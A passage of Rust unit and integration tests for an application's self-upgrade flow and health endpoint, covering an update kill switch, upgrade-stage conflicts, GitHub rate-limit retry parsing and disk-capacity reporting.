22883        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
22884
22885        assert!(
22886            !update_recheck_due(&checker, Some(&progress)),
22887            "a recheck must not run while an upgrade this deck started is \
22888             still moving"
22889        );
22890    }
22891
22892    #[tokio::test]
22893    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
22894        // The same env var the background check honours (`disabled_by_env`)
22895        // must also stop a button press before it ever calls
22896        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
22897        // means "never contact GitHub from this process", and a tap on the
22898        // upgrade button must not override that any more than a broken
22899        // `magi.toml` may. Left unset, this fixture's default config would
22900        // otherwise reach a real, unauthenticated GitHub call.
22901        //
22902        // SAFETY: single-threaded as far as this variable goes - nothing else
22903        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
22904        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
22905        unsafe {
22906            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
22907        }
22908        let fx = Fixture::start().await;
22909        let res = fx.post("/api/upgrade", None).await;
22910        unsafe {
22911            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
22912        }
22913        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22914        let body = res.json();
22915        assert!(body["to"].is_null(), "there was no release to move to");
22916        assert!(body["parked"].is_null(), "and nothing was parked");
22917        assert!(
22918            body["detail"]
22919                .as_str()
22920                .unwrap()
22921                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22922            "{body:?}"
22923        );
22924    }
22925
22926    #[test]
22927    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22928        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22929        let mut cfg = Update::default();
22930        assert!(matches!(
22931            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22932            Skip(_)
22933        ));
22934        cfg.auto_restart = true;
22935        assert_eq!(
22936            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22937            Trigger
22938        );
22939        assert_eq!(
22940            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22941            Wait
22942        );
22943        for (disabled, moving, failed) in [
22944            (true, false, None),
22945            (false, true, None),
22946            (false, false, Some("v2")),
22947        ] {
22948            assert!(matches!(
22949                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22950                Skip(_)
22951            ));
22952        }
22953        assert_eq!(
22954            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22955            Trigger
22956        );
22957        cfg.mode = UpdateMode::Off;
22958        assert!(matches!(
22959            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22960            Skip(_)
22961        ));
22962    }
22963
22964    #[test]
22965    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22966        let home = TempDir::new().unwrap();
22967        let ui = idle_ui(&home);
22968        assert!(!ui.auto_upgrade_busy());
22969        let directory = home.path().join("workers/jobs/abcdef");
22970        std::fs::create_dir_all(&directory).unwrap();
22971        let mut job = crate::worker::Job {
22972            id: "abcdef".into(),
22973            sequence: 1,
22974            kind: "scheduler".into(),
22975            key: "scheduler".into(),
22976            payload: serde_json::json!({}),
22977            generation: "test".into(),
22978            version: None,
22979            status: crate::worker::Status::Running,
22980            result: None,
22981            pid: None,
22982            created_at: 0,
22983            finished_at: None,
22984        };
22985        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22986        let write = |job: &crate::worker::Job| {
22987            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22988        };
22989        write(&job);
22990        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22991        for kind in ["task", "chat"] {
22992            job.kind = kind.into();
22993            write(&job);
22994            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22995        }
22996        drop(lease);
22997        // Lease::drop explicitly unlocks even if a concurrent fork inherited
22998        // the descriptor. Check the real decision directly: a raw flock probe
22999        // here could itself be inherited and keep the worker looking busy.
23000        assert!(
23001            !ui.auto_upgrade_busy(),
23002            "completed execution permits updates"
23003        );
23004        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
23005        assert!(
23006            ui.auto_upgrade_busy(),
23007            "unreadable worker state defers updates"
23008        );
23009    }
23010
23011    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
23012        Box::pin(async { anyhow::bail!("test installer failed") })
23013    }
23014
23015    #[tokio::test]
23016    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
23017        let home = TempDir::new().unwrap();
23018        std::fs::write(
23019            home.path().join("magi.toml"),
23020            "[update]\nauto_restart = true\n",
23021        )
23022        .unwrap();
23023        let mut ui = idle_ui(&home);
23024        ui.repo = home.path().to_path_buf();
23025        // Every successful trigger in this test uses this seam, never the installer.
23026        ui.upgrade_runner = fail_test_upgrade;
23027        let ui = Arc::new(ui);
23028        let latest = || {
23029            Some(kaishin::LatestRelease {
23030                tag_name: "v999.0.0".into(),
23031                html_url: String::new(),
23032            })
23033        };
23034        ui.talk_turns.lock().unwrap().live.insert("busy".into());
23035        assert_eq!(
23036            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23037                .await
23038                .status(),
23039            StatusCode::NO_CONTENT
23040        );
23041        assert!(updater::read_progress(home.path()).is_none());
23042        ui.talk_turns.lock().unwrap().live.clear();
23043        let gate = ui.upgrade_gate.lock().await;
23044        assert_eq!(
23045            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23046                .await
23047                .status(),
23048            StatusCode::CONFLICT
23049        );
23050        drop(gate);
23051        assert_eq!(
23052            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23053                .await
23054                .status(),
23055            StatusCode::ACCEPTED
23056        );
23057        let progress = updater::read_progress(home.path()).unwrap();
23058        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
23059        assert_eq!(progress.stage, updater::Stage::Downloading);
23060        assert!(progress.parked_run.is_none());
23061        assert!(ui.start_detached_loop().await.is_err());
23062        assert!(ui.start_loop(None).is_err());
23063        assert!(ui.begin_resume("late").is_err());
23064        tokio::time::timeout(Duration::from_secs(2), async {
23065            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23066                tokio::task::yield_now().await;
23067            }
23068        })
23069        .await
23070        .unwrap();
23071        let progress = updater::read_progress(home.path()).unwrap();
23072        assert_eq!(progress.stage, updater::Stage::Failed);
23073        assert_eq!(
23074            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
23075                .await
23076                .status(),
23077            StatusCode::NO_CONTENT
23078        );
23079        // The manual shared path records the same progress and runs the same seam.
23080        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
23081        assert_eq!(
23082            finish_upgrade_request(&ui, result).status(),
23083            StatusCode::ACCEPTED
23084        );
23085        assert_eq!(
23086            updater::read_progress(home.path()).unwrap().trigger,
23087            updater::UpgradeTrigger::Manual
23088        );
23089        tokio::time::timeout(Duration::from_secs(2), async {
23090            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
23091                tokio::task::yield_now().await;
23092            }
23093        })
23094        .await
23095        .unwrap();
23096    }
23097
23098    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
23099        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
23100        p.stage = stage;
23101        p
23102    }
23103
23104    #[test]
23105    fn busy_stages_match_the_ui_set() {
23106        use crate::updater::Stage;
23107        assert!(APP_JS.contains(
23108            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
23109        ));
23110        for s in [
23111            Stage::Downloading,
23112            Stage::Replaced,
23113            Stage::Parking,
23114            Stage::Restarting,
23115        ] {
23116            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
23117        }
23118        for s in [Stage::Done, Stage::Failed] {
23119            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
23120        }
23121        assert!(upgrade_in_motion(None).is_none());
23122    }
23123
23124    #[tokio::test]
23125    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
23126        use crate::updater::Stage;
23127        for stage in [
23128            Stage::Downloading,
23129            Stage::Replaced,
23130            Stage::Parking,
23131            Stage::Restarting,
23132        ] {
23133            let fx = Fixture::start().await;
23134            let seeded = seeded_progress(stage);
23135            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
23136            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23137                .expect("read");
23138
23139            let res = fx.post("/api/upgrade", None).await;
23140            assert_eq!(res.status, 409, "{stage:?}");
23141            let err = res.json()["error"].as_str().unwrap().to_owned();
23142            assert!(err.contains("already in progress"), "{err}");
23143            assert!(err.contains(stage.as_str()), "{err}");
23144
23145            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
23146                .expect("read");
23147            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
23148            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
23149                .unwrap_or_default();
23150            assert!(!log.contains("signalling HANDOVER"), "{log}");
23151        }
23152    }
23153
23154    #[test]
23155    fn upgrade_retry_timing_only_parses_known_diagnostics() {
23156        assert_eq!(
23157            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
23158            Some(3723)
23159        );
23160        assert_eq!(
23161            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
23162            Some(60)
23163        );
23164        assert_eq!(
23165            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
23166            Some(0)
23167        );
23168        for message in [
23169            "permission denied",
23170            "GitHub API rate limit exceeded",
23171            "GitHub rate limit (resets in unknown)",
23172            "GitHub rate limit (resets in 18446744073709551615d)",
23173        ] {
23174            assert_eq!(upgrade_retry_after(message), None, "{message}");
23175        }
23176    }
23177
23178    #[tokio::test]
23179    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
23180        let home = TempDir::new().unwrap();
23181        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
23182        ui.start_loop(None).unwrap();
23183        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
23184        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
23185        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
23186        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
23187        let response = finish_upgrade_request(&ui, result);
23188        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
23189        assert_eq!(response.headers()["retry-after"], "120");
23190        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
23191            .await
23192            .unwrap();
23193        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
23194        assert!(body["error"].as_str().unwrap().contains(reason));
23195        assert_eq!(body["retry_after_secs"], 120);
23196        assert!(body["retry_at"].as_u64().is_some());
23197        for _ in 0..2 {
23198            let view = health(State(ui.clone())).await.unwrap().0;
23199            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
23200            assert_eq!(failure, body);
23201        }
23202        assert_eq!(
23203            std::fs::read(updater::progress_path(home.path())).unwrap(),
23204            before
23205        );
23206        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
23207        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
23208        // A conflicting request must not erase the actionable earlier failure.
23209        let gate = ui.upgrade_gate.lock().await;
23210        assert_eq!(
23211            upgrade_post(State(ui.clone())).await.status(),
23212            StatusCode::CONFLICT
23213        );
23214        drop(gate);
23215        assert!(
23216            health(State(ui.clone()))
23217                .await
23218                .unwrap()
23219                .0
23220                .upgrade_request_error
23221                .is_some()
23222        );
23223        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
23224        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
23225        assert!(
23226            health(State(ui.clone()))
23227                .await
23228                .unwrap()
23229                .0
23230                .upgrade_request_error
23231                .is_none()
23232        );
23233        let live = ui.lock_loop().live.take().unwrap();
23234        live.stop.stop();
23235        live.handle.await.unwrap();
23236    }
23237
23238    #[tokio::test]
23239    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
23240        use crate::updater::Stage;
23241        let repo = TempDir::new().expect("repo dir");
23242        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23243            .expect("write magi.toml");
23244        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23245        for stage in [Stage::Done, Stage::Failed] {
23246            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
23247            let res = fx.post("/api/upgrade", None).await;
23248            assert_eq!(res.status, 200, "{stage:?}");
23249        }
23250        // No record at all, and the gate was released by the earlier calls.
23251        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
23252        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
23253    }
23254
23255    #[tokio::test]
23256    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
23257        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
23258        // and the route answers from its own logic.
23259        //
23260        // This test used to lean on the fixture's placeholder repo failing
23261        // config discovery, which left `mode = "notify"` - and a live,
23262        // unauthenticated call to the GitHub releases API inside a unit test.
23263        // GitHub allows 60 of those an hour per address, so the suite went red
23264        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
23265        // long as somebody kept re-running it: every attempt spent another
23266        // request. Six reruns across four pull requests were charged to that
23267        // before it was read as a rate limit rather than a flake.
23268        //
23269        // What the assertion is about is the "already current" branch, which
23270        // is reached by there being no newer release *or* nowhere to look. The
23271        // second one needs no network and cannot be rate limited.
23272        let repo = TempDir::new().expect("repo dir");
23273        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23274            .expect("write magi.toml");
23275        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23276
23277        // It must answer 200 and leave the process alone: restarting for an
23278        // upgrade that did not happen parks the run in flight and drops every
23279        // connection to pay for nothing. A probe against a deck already on the
23280        // newest build did exactly that, which is how this case got its own
23281        // branch.
23282        let res = fx.post("/api/upgrade", None).await;
23283        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
23284        let body = res.json();
23285        assert!(body["to"].is_null(), "there was no release to move to");
23286        assert!(body["parked"].is_null(), "and nothing was parked");
23287        assert!(
23288            body["detail"]
23289                .as_str()
23290                .unwrap()
23291                .contains("nothing restarted"),
23292            "{body:?}"
23293        );
23294    }
23295
23296    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
23297        tokio::time::timeout(Duration::from_secs(5), async {
23298            while state.lock().unwrap().in_flight {
23299                tokio::task::yield_now().await;
23300            }
23301        })
23302        .await
23303        .expect("capacity scan finished");
23304    }
23305
23306    fn disk_test_scope(home: &FsPath) -> DiskScope {
23307        DiskScope {
23308            runs: home.join("runs"),
23309            worktrees: home.join("worktrees"),
23310            cache: Some(home.join("cache")),
23311        }
23312    }
23313
23314    fn known_disk_capacity() -> DiskCapacity {
23315        DiskCapacity {
23316            free_bytes: Some(100),
23317            runs_bytes: Some(200),
23318            worktrees_bytes: Some(300),
23319            cache_bytes: Some(400),
23320        }
23321    }
23322
23323    #[tokio::test]
23324    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
23325        let home = TempDir::new().unwrap();
23326        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
23327        let mut ui = delta_test_ui(home.path());
23328        let state = Arc::get_mut(&mut ui).unwrap();
23329        state.repo = home.path().to_owned();
23330        state.worktrees_root = home.path().join("worktrees");
23331        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23332        ui.monitor
23333            .worker_started
23334            .store(true, std::sync::atomic::Ordering::SeqCst);
23335        let cfg = deputy_config(&ui.repo);
23336        let scope = DiskScope::of(&ui, cfg.as_ref());
23337        let (started, reached) = tokio::sync::oneshot::channel();
23338        let (release, blocked) = std::sync::mpsc::channel();
23339        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
23340            started.send(()).unwrap();
23341            blocked.recv().unwrap();
23342            known_disk_capacity()
23343        });
23344        assert!(cold.runs_bytes.is_none());
23345        tokio::time::timeout(Duration::from_secs(5), reached)
23346            .await
23347            .unwrap()
23348            .unwrap();
23349
23350        let requests: Vec<_> = (0..4)
23351            .map(|_| {
23352                let ui = ui.clone();
23353                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
23354            })
23355            .collect();
23356        tokio::time::timeout(Duration::from_secs(5), async {
23357            for request in requests {
23358                let view = request.await.unwrap();
23359                let disk = serde_json::to_value(view.disk).unwrap();
23360                assert!(disk["runs_bytes"].is_null());
23361                assert!(disk["worktrees_bytes"].is_null());
23362                // Free space is a cheap live observation even while the
23363                // recursive capacity measurement remains blocked.
23364                assert!(disk["free_bytes"].is_u64());
23365            }
23366        })
23367        .await
23368        .expect("health must return while the measurement is causally blocked");
23369        assert!(ui.monitor.disk.lock().unwrap().in_flight);
23370        // No competing worker can have published while the first holds flight.
23371        assert!(
23372            ui.monitor
23373                .disk
23374                .lock()
23375                .unwrap()
23376                .capacity
23377                .runs_bytes
23378                .is_none()
23379        );
23380        release.send(()).unwrap();
23381        wait_for_disk_scan(&ui.monitor.disk).await;
23382        assert_eq!(
23383            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
23384            Some(200)
23385        );
23386    }
23387
23388    #[tokio::test]
23389    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
23390        let home = TempDir::new().unwrap();
23391        let scope = disk_test_scope(home.path());
23392        let state = Arc::new(Mutex::new(DiskObservation {
23393            scope: Some(scope.clone()),
23394            capacity: known_disk_capacity(),
23395            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
23396            ..Default::default()
23397        }));
23398        let (started, reached) = tokio::sync::oneshot::channel();
23399        let (release, blocked) = std::sync::mpsc::channel();
23400        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
23401            started.send(()).unwrap();
23402            blocked.recv().unwrap();
23403            DiskCapacity {
23404                runs_bytes: Some(250),
23405                ..Default::default()
23406            }
23407        });
23408        assert_eq!(before.cache_bytes, Some(400));
23409        tokio::time::timeout(Duration::from_secs(5), reached)
23410            .await
23411            .unwrap()
23412            .unwrap();
23413        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23414        for _ in 0..4 {
23415            let scans = duplicate_scans.clone();
23416            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
23417                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23418                DiskCapacity::default()
23419            });
23420            assert_eq!(during.runs_bytes, Some(200));
23421            assert_eq!(during.cache_bytes, Some(400));
23422        }
23423        release.send(()).unwrap();
23424        wait_for_disk_scan(&state).await;
23425        let scans = duplicate_scans.clone();
23426        let after = DiskObservation::observe(&state, scope, move |_| {
23427            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23428            DiskCapacity::default()
23429        });
23430        wait_for_disk_scan(&state).await;
23431        assert_eq!(after.runs_bytes, Some(250));
23432        assert_eq!(after.free_bytes, Some(100));
23433        assert_eq!(after.cache_bytes, Some(400));
23434        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23435        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
23436    }
23437
23438    #[tokio::test]
23439    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
23440        let home = TempDir::new().unwrap();
23441        let old_scope = disk_test_scope(home.path());
23442        let mut new_scope = old_scope.clone();
23443        new_scope.cache = Some(home.path().join("replacement-cache"));
23444        let state = Arc::new(Mutex::new(DiskObservation {
23445            scope: Some(old_scope.clone()),
23446            capacity: known_disk_capacity(),
23447            ..Default::default()
23448        }));
23449        let (started, reached) = tokio::sync::oneshot::channel();
23450        let (release, blocked) = std::sync::mpsc::channel();
23451        DiskObservation::observe(&state, old_scope, move |_| {
23452            started.send(()).unwrap();
23453            blocked.recv().unwrap();
23454            known_disk_capacity()
23455        });
23456        tokio::time::timeout(Duration::from_secs(5), reached)
23457            .await
23458            .unwrap()
23459            .unwrap();
23460        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
23461        let scans = duplicate_scans.clone();
23462        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
23463            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
23464            DiskCapacity::default()
23465        });
23466        assert!(changed.cache_bytes.is_none());
23467        assert!(changed.runs_bytes.is_none());
23468        release.send(()).unwrap();
23469        wait_for_disk_scan(&state).await;
23470        {
23471            let observation = state.lock().unwrap();
23472            assert!(observation.capacity.cache_bytes.is_none());
23473            assert!(observation.finished.is_none());
23474        }
23475        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
23476            assert_eq!(scope, &new_scope);
23477            DiskCapacity {
23478                cache_bytes: Some(999),
23479                ..Default::default()
23480            }
23481        });
23482        wait_for_disk_scan(&state).await;
23483        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
23484        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
23485    }
23486
23487    #[tokio::test]
23488    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
23489        let home = TempDir::new().unwrap();
23490        let scope = disk_test_scope(home.path());
23491        let state = Arc::new(Mutex::new(DiskObservation {
23492            scope: Some(scope.clone()),
23493            capacity: known_disk_capacity(),
23494            ..Default::default()
23495        }));
23496        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
23497        wait_for_disk_scan(&state).await;
23498        {
23499            let mut observation = state.lock().unwrap();
23500            assert_eq!(observation.capacity.cache_bytes, Some(400));
23501            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
23502            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
23503        }
23504        DiskObservation::observe(&state, scope, |_| DiskCapacity {
23505            cache_bytes: Some(450),
23506            ..Default::default()
23507        });
23508        wait_for_disk_scan(&state).await;
23509        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
23510    }
23511
23512    #[test]
23513    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
23514        let home = TempDir::new().unwrap();
23515        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
23516        assert_eq!(disk_capacity_size(home.path()), Some(0));
23517        std::fs::create_dir(home.path().join("nested")).unwrap();
23518        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
23519        assert_eq!(disk_capacity_size(home.path()), Some(5));
23520        #[cfg(unix)]
23521        {
23522            // Unix distinguishes an invalid descendant lookup from absence.
23523            assert_eq!(
23524                disk_capacity_size(&home.path().join("nested/data/child")),
23525                None
23526            );
23527        }
23528        #[cfg(unix)]
23529        {
23530            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
23531            assert_eq!(disk_capacity_size(home.path()), Some(5));
23532        }
23533    }
23534
23535    #[tokio::test]
23536    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
23537        // `mode = "off"` for the same reason as the test above: a default
23538        // fixture repo falls back to `mode = "notify"`, which would make this
23539        // route's new `update` field a live, unauthenticated GitHub call on
23540        // every assertion in this suite that happens to hit `/api/health`.
23541        let repo = TempDir::new().expect("repo dir");
23542        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
23543            .expect("write magi.toml");
23544        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
23545
23546        let health = fx.get("/api/health").await.json();
23547        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
23548        assert_eq!(
23549            health["update"]["available"], false,
23550            "checking is off, which reads as \"unknown\", not \"none\""
23551        );
23552        assert!(health["update"]["to"].is_null());
23553        assert!(
23554            health["upgrade"].is_null(),
23555            "nothing has ever asked this deck to upgrade"
23556        );
23557    }
23558
23559    #[tokio::test]
23560    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
23561        let fx = Fixture::start().await;
23562        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
23563
23564        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23565        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23566        progress.advance(crate::updater::Stage::Parking);
23567        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23568
23569        let health = fx.get("/api/health").await.json();
23570        assert_eq!(health["upgrade"]["stage"], "parking");
23571        assert_eq!(health["upgrade"]["from"], "0.5.1");
23572        assert_eq!(health["upgrade"]["to"], "0.5.2");
23573        let waiting_on = health["upgrade"]["waiting_on"]
23574            .as_str()
23575            .expect("waiting_on is set while parking a known run");
23576        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23577        assert!(waiting_on.contains("implementing"), "{waiting_on}");
23578    }
23579
23580    #[tokio::test]
23581    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
23582        let fx = Fixture::start().await;
23583        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23584        progress.advance(crate::updater::Stage::Done);
23585        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23586
23587        let health = fx.get("/api/health").await.json();
23588        assert_eq!(health["upgrade"]["stage"], "done");
23589        assert!(
23590            health["upgrade"]["waiting_on"].is_null(),
23591            "nothing to wait on once it is done"
23592        );
23593    }
23594
23595    /// The handover signal is seen however the race falls, and wakes its one
23596    /// waiter once per signal - nothing here can spin.
23597    #[tokio::test]
23598    async fn the_handover_signal_wakes_one_waiter_once() {
23599        let signal = Notify::new();
23600        // Signalled before anyone waits: the stored permit is not lost.
23601        signal.notify_one();
23602        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
23603            .await
23604            .expect("an early signal is still seen");
23605        // One signal, one wake-up: a second wait does not resolve by itself.
23606        assert!(
23607            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
23608                .await
23609                .is_err(),
23610            "a consumed signal must not wake a second time"
23611        );
23612        // Signalled while waiting.
23613        let signal = std::sync::Arc::new(signal);
23614        let waiter = tokio::spawn({
23615            let signal = std::sync::Arc::clone(&signal);
23616            async move { wait_for_handover(&signal).await }
23617        });
23618        tokio::time::sleep(Duration::from_millis(20)).await;
23619        assert!(!waiter.is_finished(), "nothing was signalled yet");
23620        signal.notify_one();
23621        tokio::time::timeout(Duration::from_secs(5), waiter)
23622            .await
23623            .expect("a late signal wakes the waiter")
23624            .expect("join");
23625    }
23626
23627    #[tokio::test]
23628    async fn health_says_how_long_a_handover_has_been_stuck() {
23629        let fx = Fixture::start().await;
23630        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23631        progress.advance(crate::updater::Stage::Replaced);
23632        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
23633        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23634
23635        let health = fx.get("/api/health").await.json();
23636        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
23637        assert!(stuck >= 600, "{stuck}");
23638        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
23639        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
23640    }
23641
23642    #[tokio::test]
23643    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
23644        let home = tempfile::tempdir().expect("temp home");
23645        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23646        progress.advance(crate::updater::Stage::Parking);
23647        crate::updater::write_progress(home.path(), &progress).expect("seed");
23648        // What the second upgrade_and_restart and its handler do.
23649        let mut again = progress.clone();
23650        again.advance(crate::updater::Stage::Replaced);
23651        crate::updater::write_progress(home.path(), &again).expect("replaced");
23652        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23653        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
23654        let after = crate::updater::read_progress(home.path()).expect("record");
23655        assert_eq!(after.stage, crate::updater::Stage::Parking);
23656    }
23657
23658    #[tokio::test]
23659    async fn health_does_not_call_a_live_parking_wait_stuck() {
23660        let fx = Fixture::start().await;
23661        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
23662        progress.parked_run = Some("20260905-000000-cd51".to_owned());
23663        progress.advance(crate::updater::Stage::Parking);
23664        let hours = Duration::from_secs(3 * 3600);
23665        progress.started_at = Timestamp::now() - hours;
23666        progress.updated_at = Timestamp::now() - hours;
23667        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
23668        let _lease = crate::updater::LeaseGuard::enter(
23669            fx.home.path(),
23670            Some("20260905-000000-cd51".to_owned()),
23671        );
23672
23673        let health = fx.get("/api/health").await.json();
23674        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
23675        assert!(health["upgrade"]["stuck_kind"].is_null());
23676        assert_eq!(health["upgrade"]["handover_alive"], true);
23677        let waiting_on = health["upgrade"]["waiting_on"]
23678            .as_str()
23679            .expect("waiting_on");
23680        assert!(waiting_on.contains("cd51"), "{waiting_on}");
23681    }
23682
23683    fn idle_ui(home: &TempDir) -> Ui {
23684        let runs = home.path().join("runs");
23685        std::fs::create_dir_all(&runs).expect("runs dir");
23686        Ui::new(
23687            Queue::at(home.path().join("queue")),
23688            Questions::at(home.path().join("questions")),
23689            Talks::at(home.path().join("talks")),
23690            runs,
23691            home.path().to_path_buf(),
23692            PathBuf::from("/repo/magi"),
23693        )
23694        .with_launch(launch_idle)
23695    }
23696
23697    #[tokio::test]
